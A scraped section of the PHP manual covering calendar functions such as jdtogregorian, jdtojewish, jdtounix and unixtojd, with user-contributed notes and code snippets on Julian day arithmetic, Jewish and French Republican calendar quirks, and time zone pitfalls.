The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.
FrenchToJD
JDDayOfWeek
Calendar Functions


Returns the day of the week

GregorianToJD
JDMonthName
Calendar Functions
PHP Manual

JDDayOfWeek

(PHP 4, PHP 5)

JDDayOfWeek — Returns the day of the week

Description

mixed jddayofweek ( int $julianday [, int $mode = CAL_DOW_DAYNO ] )

Returns the day of the week. Can return a string or an integer depending on the mode.

Parameters

julianday

A julian day number as integer

mode
Calendar week modes
Mode | Meaning
0 (Default) | Return the day number as an int (0=Sunday, 1=Monday, etc)
1 | Returns string containing the day of week (English-Gregorian)
2 | Return a string containing the abbreviated day of week (English-Gregorian)

Return Values

The gregorian weekday as either an integer or string.

User Contributed Notes

nrkkalyan at rediffmail dot com 25-Feb-2005 10:08
You can get todays day time and date using this code

<?php
echo date("d")." ";
echo date("m")." ";
echo date("Y")." ";
echo date("h:i:s A");

ECHO ' <br/>';
echo jddayofweek ( cal_to_jd(CAL_GREGORIAN, date("m"),date("d"), date("Y")) , 1 );
?>
php at xtramicro dot com 07-Sep-2004 08:28
Be aware that date() and mktime() only work as long as you move within the UNIX era (1970 - 2038 / 0x0 - 0x7FFFFFFF in seconds). Outside that era those functions are only generating errors.

In other words: mktime(0, 0, 0, 12, 31, 1969) *DOES NOT* work (and so doesn't date() fed with with mktime()'s result from above). But cal_to_jd(CAL_GREGORIAN, 12, 11, 1969) *DOES WORK*.

And please note that the calendar-extension's functions arguments follow the US date order: month - day - year.
GregorianToJD
JDMonthName
Calendar Functions


Returns a month name

JDDayOfWeek
JDToFrench
Calendar Functions
PHP Manual

JDMonthName

(PHP 4, PHP 5)

JDMonthName — Returns a month name

Description

string jdmonthname ( int $julianday , int $mode )

Returns a string containing a month name. mode tells this function which calendar to convert the Julian Day Count to, and what type of month names are to be returned.

Calendar modes
Mode | Meaning | Values
0 | Gregorian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
1 | Gregorian | January, February, March, April, May, June, July, August, September, October, November, December
2 | Julian - abbreviated | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
3 | Julian | January, February, March, April, May, June, July, August, September, October, November, December
4 | Jewish | Tishri, Heshvan, Kislev, Tevet, Shevat, AdarI, AdarII, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
5 | French Republican | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

Parameters

jday

The Julian Day to operate on

calendar

The calendar to take the month name from

Return Values

The month name for the given Julian Day and calendar.

User Contributed Notes

viju dot kantah at gmail dot com 20-Nov-2011 10:34
<?php

/* Simple way to get current month name */

$mons = array(1 => "Jan", 2 => "Feb", 3 => "Mar", 4 => "Apr", 5 => "May", 6 => "Jun", 7 => "Jul", 8 => "Aug", 9 => "Sep", 10 => "Oct", 11 => "Nov", 12 => "Dec");

$date = getdate();
$month = $date['mon'];

$month_name = $mons[$month];

echo $month_name; // Displays the current month

?>
asphp at dsgml dot com 17-Apr-2011 02:58
Use this function if you prefer to use the standard calendar constants:

<?php
function jdmonthname2($julianday, $calendar, $abbrev = false) {
  if($calendar == CAL_GREGORIAN && $abbrev) $mode = 0;
  elseif($calendar == CAL_GREGORIAN && !$abbrev) $mode = 1;
  elseif($calendar == CAL_JULIAN && $abbrev) $mode = 2;
  elseif($calendar == CAL_JULIAN && !$abbrev) $mode = 3;
  elseif($calendar == CAL_JEWISH) $mode = 4;
  elseif($calendar == CAL_FRENCH) $mode = 5;
  else $mode = 10; //use an invalid mode and let the underlying function handle it

  return jdmonthname($julianday, $mode);
}
?>
ukarmakar at gmail dot com 28-Dec-2009 11:40
You can get the month name by passing the month integer value to a simple function....

<?php
function getMonthName($Month){
    $strTime=mktime(1,1,1,$Month,1,date("Y"));
    return date("F",$strTime);
}
echo getMonthName(10);
?>

Output:
October
Shai 24-Sep-2005 03:12
YIQV, this should correct your issue with Adar being displayed as AdarI:

<?php

// assuming that $jewish_month is the Jewish month,
// and $jewish_year is the Jewish year,
// you can use this script to replace 'Adar I' with 'Adar' when it is not a leap year.
// this is because a Jewish leap year occurs every 3rd, 6th, 8th, 11th, 14th, 17th, and 19th year.

if(    $jewish_month == "AdarI" &&
    $jewish_year%19 != 0 &&
    $jewish_year%19 != 3 &&
    $jewish_year%19 != 6 &&
    $jewish_year%19 != 8 &&
    $jewish_year%19 != 11 &&
    $jewish_year%19 != 14 &&
    $jewish_year%19 != 17
) {

    $jewish_month = "Adar";

}

?>
YIQV 30-Jan-2005 10:47
I am finding an inconsistency in the Jewish month Adar. The function always returns AdarI regardless of whether the year is a jewish leapyear. The month is known as Adar (not AdarI) in non-leap years. Also when using function jdtojewish with bool hebrew set to true it always returns (ADR) and not (ADR A) when it's a leap year. AdarII in Hebrew and English seems to work properly.
JDDayOfWeek
JDToFrench
Calendar Functions


Converts a Julian Day Count to the French Republican Calendar

JDMonthName
JDToGregorian
Calendar Functions
PHP Manual

JDToFrench

(PHP 4, PHP 5)

JDToFrench — Converts a Julian Day Count to the French Republican Calendar

Description

string jdtofrench ( int $juliandaycount )

Converts a Julian Day Count to the French Republican Calendar.

Parameters

julianday

A julian day number as integer

Return Values

The french revolution date as a string in the form "month/day/year"

See Also

  • frenchtojd() - Converts a date from the French Republican Calendar to a Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

pieterc dot depraetere at ugent dot be 10-Mar-2010 02:04
If you want to convert a date later than September 22nd 1806, you could use this function. It's a bit crude and due to the fact the original function terminates in the middle of 1806, it uses 1805 as it's 'terminus post quem'.
<?php
function extended_jdtofrench ($juliandate) {
    if ($juliandate > 2380945) {
        // jdtofrench () only accepts dates until september 1806
        $gregorian_date = jdtogregorian ($juliandate);
        $temp = explode ('/', $gregorian_date);
        $year = $temp[2];
        $juliandate = gregoriantojd ($temp[0], $temp[1], 1805);
        $republican_date = jdtofrench ($juliandate);
        $republican_date = explode ('/', $republican_date);
        $diff = $year - 1805;
        $republican_date[2] = $republican_date[2] + $diff;
    } else {
        $republican_date = jdtofrench ($juliandate);
    }
    return $republican_date;
}
?>
squenz at titania dot bottoms-dream dot de 06-Apr-2006 08:25
Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

<?php
$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . " " . $arDateFrench[0] . " " . $arDateFrench[2] ;

/* the output will be:
    18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

    $julian_date = gregoriantojd($m, $d, $y);
    $french = jdtofrench($julian_date);
    if($french == "0/0/0")
        return "" ;

    $arD = split("/", $french) ;

    // get the month name
    $monthname = FrenchMonthNames($arD[0]) ;

    /* convert the year number to roman digits (as most historians do and documents of the time did */
    $stryear = decrom($arD[2]) ;
    return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
    /* The names have been invented by Fabre d'Ã‰glantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "VendÃ©miaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...     */

    $arMo = array("VendÃ©miaire",
                      "Brumaire",
                      "Frimaire",
                      "NivÃ´se",
                      "PluviÃ´se",
                      "VentÃ´se",
                      "Germinal",
                      "FlorÃ©al",
                      "Prairial",
                      "Messidor",
                      "Thermidor",
                      "Fructidor",
                      "Sansculottide") ;

    if($mo < count($arMo)+1)
        return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
?>
serged at noos dot fr 28-Oct-2003 09:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les français :
Ces routines ne converitssent les dates que de l'an 1 à 14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la période pendant laquelle le calendrier à été utilisé.
JDMonthName
JDToGregorian
Calendar Functions


Converts Julian Day Count to Gregorian date

JDToFrench
jdtojewish
Calendar Functions
PHP Manual

JDToGregorian

(PHP 4, PHP 5)

JDToGregorian — Converts Julian Day Count to Gregorian date

Description

string jdtogregorian ( int $julianday )

Converts Julian Day Count to a string containing the Gregorian date in the format of "month/day/year".

Parameters

julianday

A julian day number as integer

Return Values

The gregorian date as a string in the form "month/day/year"

See Also

  • gregoriantojd() - Converts a Gregorian date to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

swiles at ddbc dot edu dot tw 25-Jan-2009 09:34
The php gregoriantojd() and jdtogregorian() functions, in addition to the limitations noted by httpwebwitch, does not take account of the 'Astronomical' system of reckoning - i.e. using a year zero, instead of going directly from 1BCE to 1CE, as with the Christian Anno Domini system.

These functions can be used to wrap the php built-ins to return ISO 8601 compliant dates:

<?php
function ISO8601toJD($ceDate) {
    list($day, $month, $year) = array_map('strrev',explode('-', strrev($ceDate), 3));
    if ($year <= 0) $year--;
    return gregoriantojd($month, $day, $year);
}

function JDtoISO8601($JD) {
    if ($JD <= 1721425) $JD += 365;
    list($month, $day, $year) = explode('/', jdtogregorian($JD));
    return sprintf('%+05d-%02d-%02d', $year, $month, $day);
}
?>
lubosdz at hotmail dot com 09-Aug-2007 03:10
<?php
// original script:
// http://www.codeproject.com/datetime/exceldmy.asp
// Excel/Lotus 123 have a bug with 29-02-1900.
// 1900 is not a leap year, but Excel/Lotus 123 think it is...
function excel_D2DMY($days) {
  if ($days <1) return "";
  if ($days == 60)  {
    return array('day'=>29,'month'=>2,'year'=>1900);
  } else {
    if ($days < 60)  {
      // Because of the 29-02-1900 bug, any serial date
      // under 60 is one off... Compensate.
      ++$days;
    }
    // Modified Julian to DMY calculation with an addition of 2415019
    $l = $days + 68569 + 2415019;
    $n = floor(( 4 * $l ) / 146097);
    $l = $l - floor(( 146097 * $n + 3 ) / 4);
    $i = floor(( 4000 * ( $l + 1 ) ) / 1461001);
    $l = $l - floor(( 1461 * $i ) / 4) + 31;
    $j = floor(( 80 * $l ) / 2447);
    $nDay = $l - floor(( 2447 * $j ) / 80);
    $l = floor($j / 11);
    $nMonth = $j + 2 - ( 12 * $l );
    $nYear = 100 * ( $n - 49 ) + $i + $l;
    $ret = array('day'=>$nDay,'month'=>$nMonth,'year'=>$nYear);
    return $ret;
  }
}

/**
* @desc Returns Excel serialDate constant calculated from gregorian date
* original javascript found @ http://wwwmacho.mcmaster.ca/JAVA/JD.html
* ported to PHP by XL:-)
*
* tested compatibility with EXCEL dates between 01/01/1900..31.12.2099,
* year given eventually as 0 (=1900)..199 (=2099)
* adds also days if supplied argument more than real number of days
* in particular month (same applies to months)
* as for years bellow 1900: algorhytm is not exact, therefore limitation
* for years 1900 - 2099
*/
function excel_DMY2D($d, $m, $y, $uh=0, $um=0, $us=0) {
    if($y<1900){
        if($y<0 || $y>199){
            echo ' !!! Invalid year ['.$y.'], must be between 1900 - 2099 or 0 - 199 !!!';
            return false;
        }else{
            $y += 1900;
        }
    }
    $extra = 100.0*$y + $m - 190002.5;
    $rjd = 367.0*$y;
    $rjd -= floor(7.0*($y+floor(($m+9.0)/12.0))/4.0);
    $rjd += floor(275.0*$m/9.0);
    $rjd += $d;
    $rjd += ($uh + ($um + $us/60.0)/60.)/24.0;
    $rjd += 1721013.5;
    $rjd -= 0.5*$extra/abs($extra);
    $rjd += 0.5;

    $rjd -= 2415020.5; // JD correction constant for 01/01/1900
    $rjd += ($rjd>60) ? 2 : 1; // adjust to inheritet EXCEL/LOTUS bug
    return $rjd;
}
?>
pctips 06-Jul-2005 02:12
I have changed treebe's function a bit:

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    if ($day < 10) {
    $day = "0".$day;
    }
    if ($month < 10) {
    $month = "0".$month;
    }
    return $day."/".$month."/".$year;
}
?>

So, if the in the old format the 1st January 2005 was "1.1.2005", now the function will return "01/01/2005". I hope it could be useful to someone :)
httpwebwitch 22-Jun-2004 10:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com 14-Sep-2003 08:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

<?php
function unix_to_greg($unix_timestamp) {
    $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10)
    {
        $month = $month + 3;
    }else{
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
treebe 31-May-2003 05:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
JDToFrench
jdtojewish
Calendar Functions


Converts a Julian day count to a Jewish calendar date

JDToGregorian
JDToJulian
Calendar Functions
PHP Manual

jdtojewish

(PHP 4, PHP 5)

jdtojewish — Converts a Julian day count to a Jewish calendar date

Description

string jdtojewish ( int $juliandaycount [, bool $hebrew = false [, int $fl = 0 ]] )

Converts a Julian Day Count to the Jewish Calendar.

Parameters

julianday

A julian day number as integer

hebrew

If the hebrew parameter is set to TRUE, the fl parameter is used for Hebrew, string based, output format.

fl

The available formats are: CAL_JEWISH_ADD_ALAFIM_GERESH, CAL_JEWISH_ADD_ALAFIM, CAL_JEWISH_ADD_GERESHAYIM.

Return Values

The jewish date as a string in the form "month/day/year"

Changelog

Version | Description
5.0.0 | The fl parameter was added.
4.3.0 | The hebrew parameter was added.

Examples

Example #1 jdtojewish() Example

<?php
echo jdtojewish(gregoriantojd(10, 8, 2002), true,
       CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH);
?>

See Also

  • jewishtojd() - Converts a date in the Jewish Calendar to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

erelsgl at gmail dot com 29-Aug-2009 03:28
Sometimes it is useful to have the date in the format YYYY-MM-DD, which is sortable (e.g. you can sort dates by sorting the strings):

<?php
function JDToSortableJewish($jd) {
    return
        preg_replace("|(\d+)/(\d+)/(\d+)|","$3-$1-$2",  // year-month-day
        preg_replace("|/(\d)/|","/0$1/", // add zeros to the day
        preg_replace("|^(\d)/|","0$1/",  // add zeros to the month
        JDToJewish($jd))));
}
?>
erelsgl at gmail dot com 29-Aug-2009 02:01
In Hebrew leap years, the function will return 6 for Adar A, 7 for Adar B, 8 for Nisan, etc.

In Hebrew non-leap years, the function will return 6 for Adar, 8 for Nisan, etc.

i.e., the "real" Adar is Adar A.
asphp at dsgml dot com 28-May-2007 02:10
This function outputs in ISO-8859-8-l.

To convert to unicode UTF-8 do this:

<?php

echo mb_convert_encoding( jdtojewish( unixtojd(), true ), "UTF-8", "ISO-8859-8");

?>
gr8g0thamguy at yahoo dot com 01-Sep-2003 11:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com 04-Mar-2002 04:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?php

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>
JDToGregorian
JDToJulian
Calendar Functions


Converts a Julian Day Count to a Julian Calendar Date

jdtojewish
jdtounix
Calendar Functions
PHP Manual

JDToJulian

(PHP 4, PHP 5)

JDToJulian — Converts a Julian Day Count to a Julian Calendar Date

Description

string jdtojulian ( int $julianday )

Converts Julian Day Count to a string containing the Julian Calendar Date in the format of "month/day/year".

Parameters

julianday

A julian day number as integer

Return Values

The julian date as a string in the form "month/day/year"

See Also

  • juliantojd() - Converts a Julian Calendar date to Julian Day Count
  • cal_from_jd() - Converts from Julian Day Count to a supported calendar

User Contributed Notes

There are no user contributed notes for this page.
jdtojewish
jdtounix
Calendar Functions


Convert Julian Day to Unix timestamp

JDToJulian
JewishToJD
Calendar Functions
PHP Manual

jdtounix

(PHP 4, PHP 5)

jdtounix — Convert Julian Day to Unix timestamp

Description

int jdtounix ( int $jday )

This function will return a Unix timestamp corresponding to the Julian Day given in jday or FALSE if jday is not inside the Unix epoch (Gregorian years between 1970 and 2037 or 2440588 <= jday <= 2465342 ). The time returned is localtime (and not GMT).

Parameters

jday

A julian day number between 2440588 and 2465342.

Return Values

The unix timestamp for the start of the given julian day.

See Also

  • unixtojd() - Convert Unix timestamp to Julian Day

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 07:16
Beware, jd here is not (astronomical or geocentric) Julian Day (JD), but Chronological Julian Day (CJD)! When JD start at noon of UTC time (12:00 UTC), CJD start at midnight at *local* time! Or considering head "Chronlogical Julian Day/Date" at "http://www.decimaltime.hynes.net/dates.html", when day localy start (it should be at sunset for instance).

try this...
<?php
define("UJD", 2440587.5);
define("SEC4DAY", 86400);

function u2j($tm) {
   return $tm / SEC4DAY + UJD;
}

function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $j_fabio = u2j($t);
   $s = strftime('%D %T %Z', $t);

   printf("${txt} => %s, CJD: %s, JD: %s<br>\n", $s, $j, $j_fabio);
}

$xt = strtotime("1.1.1970 0:00.00 GMT");
$slb = "-1 day 23:30"; // let CJD be N
$sla = "0:30.00"; // should be N+1
$slm = "0:00"; // should be N+1
$sgmt = "0:00.00 GMT"; // don't forget to observe JD.

mmd("local before", $slb);
mmd("local after", $sla);
mmd("local midnight", $slm);
mmd("GMT midnight", $sgmt);
?>

I got this (you see, JD havn't change day, because UTC noon is far away):
local before => 03/28/07 23:30:00 CEST, CJD: 2454188, JD: 2454188.39583
local after => 03/29/07 00:30:00 CEST, CJD: 2454189, JD: 2454188.4375
local midnight => 03/29/07 00:00:00 CEST, CJD: 2454189, JD: 2454188.41667
GMT midnight => 03/29/07 02:00:00 CEST, CJD: 2454189, JD: 2454188.5
erelsgl dot NOSPAM at cs dot technion dot ac dot il 19-Sep-2006 06:31
Just to clarify the differences between the different methods to convert a date to a timestamp.

Suppose:

<?php
$x = JDToUnix(GregorianToJD(9,23,2006));
$y = strtotime('2006-09-23');
$z = (GregorianToJD(9,23,2006) - 2440587.5) * 86400;
?>

Then, on a machine whoze timezone is GMT-0400, we get the following results:
<?php
$x === 1158969600;
$y === 1158984000;  //  $x + 4 hours
$z === 1159012800;  //  $x + 12 hours
?>
fabio at llgp dot org 31-Aug-2006 02:14
If you need an easy way to convert a decimal julian day to an unix timestamp you can use:

$unixTimeStamp = ($julianDay - 2440587.5) * 86400;

2440587.5 is the julian day at 1/1/1970 0:00 UTC
86400 is the number of seconds in a day
27-Jan-2005 06:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com 21-Oct-2003 12:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com 12-Jun-2003 09:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.
JDToJulian
JewishToJD
Calendar Functions


Converts a date in the Jewish Calendar to Julian Day Count

jdtounix
JulianToJD
Calendar Functions
PHP Manual

JewishToJD

(PHP 4, PHP 5)

JewishToJD — Converts a date in the Jewish Calendar to Julian Day Count

Description

int jewishtojd ( int $month , int $day , int $year )

Although this function can handle dates all the way back to the year 1 (3761 B.C.), such use may not be meaningful. The Jewish calendar has been in use for several thousand years, but in the early days there was no formula to determine the start of a month. A new month was started when the new moon was first observed.

Parameters

month

The month as a number from 1 to 13

day

The day as a number from 1 to 30

year

The year as a number between 1 and 9999

Return Values

The julian day for the given jewish date as an integer.

See Also

  • jdtojewish() - Converts a Julian day count to a Jewish calendar date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

erelsgl dot NOSPAM at cs dot technion dot ac dot il 20-Sep-2006 02:21
JewishToJD returns 0 when the day number is 31 or more.

However, when the day number is 30, JewishToJD returns a valid Julian Day, even when the month only has 29 days. So, for example:
<?php
JDToJewish(JewishToJD(4,30,5767)) === "5/1/5767"
?>
erelsgl dot NOSPAM at cs dot technion dot ac dot il 19-Sep-2006 05:55
For non-leap years, this function returns the same for month 6 (Adar I) and month 7 (Adar II), so, for example:

<?php
JewishToJD(6,15,5766) === JewishToJD(7,15,5766)

JDToJewish(JewishToJD(7,15,5766)) === '6/15/5766'
?>
jdtounix
JulianToJD
Calendar Functions


Converts a Julian Calendar date to Julian Day Count

JewishToJD
unixtojd
Calendar Functions
PHP Manual

JulianToJD

(PHP 4, PHP 5)

JulianToJD — Converts a Julian Calendar date to Julian Day Count

Description

int juliantojd ( int $month , int $day , int $year )

Valid Range for Julian Calendar 4713 B.C. to 9999 A.D.

Although this function can handle dates all the way back to 4713 B.C., such use may not be meaningful. The calendar was created in 46 B.C., but the details did not stabilize until at least 8 A.D., and perhaps as late at the 4th century. Also, the beginning of a year varied from one culture to another - not all accepted January as the first month.

Caution

Remember, the current calendar system being used worldwide is the Gregorian calendar. gregoriantojd() can be used to convert such dates to their Julian Day count.

Parameters

month

The month as a number from 1 (for January) to 12 (for December)

day

The day as a number from 1 to 31

year

The year as a number between -4713 and 9999

Return Values

The julian day for the given julian date as an integer.

See Also

  • jdtojulian() - Converts a Julian Day Count to a Julian Calendar Date
  • cal_to_jd() - Converts from a supported calendar to Julian Day Count

User Contributed Notes

There are no user contributed notes for this page.
JewishToJD
unixtojd
Calendar Functions


Convert Unix timestamp to Julian Day

JulianToJD
Date/Time
Calendar Functions
PHP Manual

unixtojd

(PHP 4, PHP 5)

unixtojd — Convert Unix timestamp to Julian Day

Description

int unixtojd ([ int $timestamp = time() ] )

Return the Julian Day for a Unix timestamp (seconds since 1.1.1970), or for the current day if no timestamp is given.

Parameters

timestamp

A unix timestamp to convert.

Return Values

A julian day number as integer.

See Also

  • jdtounix() - Convert Julian Day to Unix timestamp

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 06:02
according to http://www.decimaltime.hynes.net/dates.html#jd and reading "X. Calendar Functions" on this side, it seems that php "jd" is precisely mean as "Chronological Julian Day" (should it be named cjd, and primarily strictly mentioned - isn't it?), used for covnersion between calendar systems. Than it's ok (but Incomplete manual is strongly confusing here IMHO).
Even that, cJD is adjusted to a local time, so... I am rather babeled now, so nothing else :-).
hrabi at linuxwaves dot com 29-Mar-2007 03:33
This is unusable. Julian Day start at noon, not midnight. It's better to use Fabio solution (however there is a lurk problem with leap second).

<?php
function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $s = gmstrftime('%D %T %Z', $t);
   $j_fabio = $t / 86400 + 2440587.5;

   printf("${txt} => (%s) %s, %s U, %s J, or %s J<br>\n", $str_time, $s, $t, $j, $j_fabio);
}

//$xt = strtotime("1.1.1970 15:00.00 GMT");
$sam = "9.10.1995 02:00.01 GMT";
$spm = "9.10.1995 22:00.01 GMT";

// unixtojd for $spm returns 2450000 (OK), but for $sam returns 2450000 too! (it is wrong).
mmd("am", $sam);  // should be 2449999 (+ 0.58334)
mmd("pm", $spm);  // should be 2450000 (+ 0.41668)
?>

reference
unix time, and UTC, TAI, ntp, ... problems: http://en.wikipedia.org/wiki/Unix_time
Julian Date Converter: http://aa.usno.navy.mil/data/docs/JulianDate.html
history overview: http://parris.josh.com.au/humour/work/17Nov1858.shtml
fabio at llgp dot org 31-Aug-2006 02:09
If you need an easy way to convert an unix timestamp to a decimal julian day you can use:

$julianDay = $unixTimeStamp / 86400 + 2440587.5;

86400 is the number of seconds in a day;
2440587.5 is the julian day at 1/1/1970 0:00 UTC.
10-Aug-2006 07:22
Its clearly stated that this function returns the Julian Day, not Julian Day + time.

If you want the time with it you will have to do something like:

$t=time();
$jd=unixtojd($t)+($t%60*60*24)/60*60*24;
johnston at capsaicin dot ca 19-Nov-2003 01:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.
pipian at pipian dot com 12-Jun-2003 09:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.
JulianToJD
Date/Time
Calendar Functions


Date and Time

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • DateTime — The DateTime class
    • DateTime::add — Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
    • DateTime::__construct — Returns new DateTime object
    • DateTime::createFromFormat — Returns new DateTime object formatted according to the specified format
    • DateTime::diff — Returns the difference between two DateTime objects
    • DateTime::format — Returns date formatted according to given format
    • DateTime::getLastErrors — Returns the warnings and errors
    • DateTime::getOffset — Returns the timezone offset
    • DateTime::getTimestamp — Gets the Unix timestamp
    • DateTime::getTimezone — Return time zone relative to given DateTime
    • DateTime::modify — Alters the timestamp
    • DateTime::__set_state — The __set_state handler
    • DateTime::setDate — Sets the date
    • DateTime::setISODate — Sets the ISO date
    • DateTime::setTime — Sets the time
    • DateTime::setTimestamp — Sets the date and time based on an Unix timestamp
    • DateTime::setTimezone — Sets the time zone for the DateTime object
    • DateTime::sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
    • DateTime::__wakeup — The __wakeup handler
  • DateTimeZone — The DateTimeZone class
    • DateTimeZone::__construct — Creates new DateTimeZone object
    • DateTimeZone::getLocation — Returns location information for a timezone
    • DateTimeZone::getName — Returns the name of the timezone
    • DateTimeZone::getOffset — Returns the timezone offset from GMT
    • DateTimeZone::getTransitions — Returns all transitions for the timezone
    • DateTimeZone::listAbbreviations — Returns associative array containing dst, offset and the timezone name
    • DateTimeZone::listIdentifiers — Returns numerically index array with all timezone identifiers
  • DateInterval — The DateInterval class
    • DateInterval::__construct — Creates new DateInterval object
    • DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string
    • DateInterval::format — Formats the interval
  • DatePeriod — The DatePeriod class
